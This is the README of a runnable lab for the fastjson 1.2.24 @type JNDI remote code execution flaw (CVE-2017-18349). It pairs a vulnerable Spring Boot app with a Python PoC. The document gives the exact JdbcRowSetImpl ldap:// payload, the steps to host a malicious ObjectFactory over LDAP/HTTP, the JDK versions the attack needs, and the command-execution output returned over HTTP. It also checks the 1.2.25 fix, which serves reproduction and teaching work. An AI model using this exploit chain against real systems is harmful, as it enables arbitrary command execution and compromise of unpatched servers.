Runnable fastjson 1.2.24 Spring Boot lab with a Python PoC that serves LDAP/HTTP, delivers a malicious ObjectFactory via @type JNDI, and verifies RCE and the 1.2.25 fix.
@type Remote Code Execution Reproduction EnvironmentThis is a runnable minimal reproduction environment: Spring Boot 2.7.18 executable fat-jar + fastjson 1.2.24,
with an unauthenticated JSON API as the entry point. The accompanying pure Python PoC starts a minimal LDAP and HTTP service, hosts a malicious
ObjectFactory, prints the @type payload and sends it automatically, with command results returned over HTTP.
Authorized testing only: This project executes arbitrary commands within the target process and exposes malicious classes externally. Use it only for local experiments, CTFs, teaching, or explicitly authorized security testing. Do not use it against unauthorized systems. Stop the application and PoC services immediately after testing is complete.
com.alibaba:fastjson < 1.2.25; fixed in 1.2.25.JSON.parseObject on controllable JSON. The classic chain requires loading ObjectFactory from a remote javaCodeBase via JNDI;
this path is disabled by default starting from 8u191 GA.DefaultJSONParser:322 directly calls
TypeUtils.loadClass upon receiving @type, with no autoType gate on the parsing path; the ParserConfig blacklist is only checked
inside getDeserializer, after class loading, by prefix, and by default contains only java.lang.Thread.CVE-2017-18349-fastjson1.2.24-vul/
├── README.md # 本文件
├── CVE-2017-18349-fastjson1.2.24/ # 漏洞环境
│ ├── pom.xml # 聚合 POM(vuln-app,默认 1.2.24,-Pfix 切 1.2.25)
│ └── vuln-app/ # Spring Boot 2.7.18 + fastjson 1.2.24
└── CVE-2017-18349-fastjson1.2.24-poc/ # 配套 PoC
├── poc.py # 纯 Python,仅标准库
├── README.md # 参数、17 行矩阵、成功/拒绝现象
└── payloads/ # 恶意 ObjectFactory 源码与预编译字节码
| Item | Requirement |
|---|---|
| Build JDK | JDK 8 (verified 1.8.0_503) |
| Runtime JDK | JDK < 8u191 (verified 1.8.0_65; 8u65 has no trustURLCodebase guard) |
| Maven | 3.6+ (verified 3.9.16) |
| Python | 3.8+ (verified 3.11, standard library only) |
| Ports | 8091 application, 1389 LDAP, 8888 HTTP, 5005 JDWP |
| Network | The target must be able to reach --host:1389/8888; use 127.0.0.1 for local reproduction |
| Target system | Windows (the PoC executes commands via cmd.exe /c) |
Tested environment: Windows 10 x64, Oracle JDK 1.8.0_65 (runtime) / 1.8.0_503 (build),
Apache Maven 3.9.16, Python 3.11. When started with 8u191+, the application still runs, but the
Reference returned by LDAP will not be loaded remotely, and the payload does not take effect—this is a deployment prerequisite, not an environment defect.
Run the following in the project root directory (the directory containing this README):
cd CVE-2017-18349-fastjson1.2.24
set "JAVA_HOME=<JDK 8 安装目录>"
mvn -B -DskipTests clean package
jar tf vuln-app\target\fastjson124-demo.jar | findstr /C:"fastjson-1.2.24.jar"
The last entry should output BOOT-INF/lib/fastjson-1.2.24.jar; looking only at pom.xml is not enough.
"%JDK8U65%\bin\java.exe" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 ^
-jar vuln-app\target\fastjson124-demo.jar
%JDK8U65% points to the installation directory of 1.8.0_65; remove -agentlib:jdwp=... when remote debugging is not needed.
Do not launch with 8u191+, and do not add -Dcom.sun.jndi.ldap.object.trustURLCodebase=true.
curl -s http://127.0.0.1:8091/api/info
curl -s -X POST http://127.0.0.1:8091/api/parse -H "Content-Type: application/json" ^
-d "{\"name\":\"alice\",\"age\":18}"
/api/info should contain:
{
"fastjson_version": "1.2.24",
"fastjson_jar": "fastjson-1.2.24.jar",
"auto_type_support": "not-present",
"check_auto_type_present": false,
"java_version": "1.8.0_65",
"jndi_naming_helper_trust_url_codebase": "field-not-present"
}
The second request should return 200, parsed_class=com.alibaba.fastjson.JSONObject.
Open another terminal and execute the following in the project root directory:
cd CVE-2017-18349-fastjson1.2.24-poc
python poc.py --target http://127.0.0.1:8091 --host 127.0.0.1
--host is the address used when the target accesses LDAP/HTTP; for local reproduction, fill in 127.0.0.1. The PoC by default executes
whoami & hostname, and hosts LDAP and the malicious class on ports 1389/8888; it sends the following to /api/parse:
{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/single",
"autoCommit":true}
single PASS HTTP=500 rce=True ldap=1 parsed=com.alibaba.fastjson.JSONException
command output:
win-2pgvtgciuvv\administrator
WIN-2PGVTGCIUVV
evidence: ...\evidence\command-output.txt
A target returning 500 set property error, autoCommit / NPE is expected behavior: setAutoCommit has already triggered
the JNDI lookup, the factory executes the command and returns null, and only then does DataSource.getConnection() throw a null pointer.
Judgment is based on side effects: LDAP hit, target fetching Evl.class/cmd.txt, and callback of whoami/hostname
output; a 500 alone without these callbacks does not count as success.
| Parameter | Description |
|---|---|
--target URL | Target base address, e.g. http://127.0.0.1:8091; when omitted, prints the payload and keeps hosting |
--host HOST | Address the target uses to access LDAP/HTTP, default 127.0.0.1 |
--ldap-port N / --http-port N | LDAP / HTTP listening ports, default 1389 / 8888 |
--command CMD | Command passed to cmd.exe /c, default whoami & hostname; {token} is replaced with the line number |
--matrix | Run the full 17-row matrix (vulnerable version 17/17, 5 rows RCE; fixed version 17/17, 0 rows RCE) |
--json PATH / --save-http DIR | Local troubleshooting artifacts; not delivered with the project |
--timeout N / --wait N | Request timeout (25s) / hosting limit when --target is omitted (300s) |
For full parameters, per-row matrix expectations, and success criteria, see CVE-2017-18349-fastjson1.2.24-poc/README.md.
When --target is omitted, the PoC prints the payload and keeps the LDAP/HTTP services running (execute from the project root):
cd CVE-2017-18349-fastjson1.2.24-poc
python poc.py --host 127.0.0.1
Use curl or an IDE HTTP Client to send the printed payload to /api/parse. After the PoC receives the callback, it will print
the command output and exit; the timeout is controlled by --wait.
Build 1.2.25 with -Pfix, and confirm the packaged contents:
cd CVE-2017-18349-fastjson1.2.24
mvn -B -Pfix -DskipTests clean package
jar tf vuln-app\target\fastjson124-demo.jar | findstr /C:"fastjson-1.2.25.jar"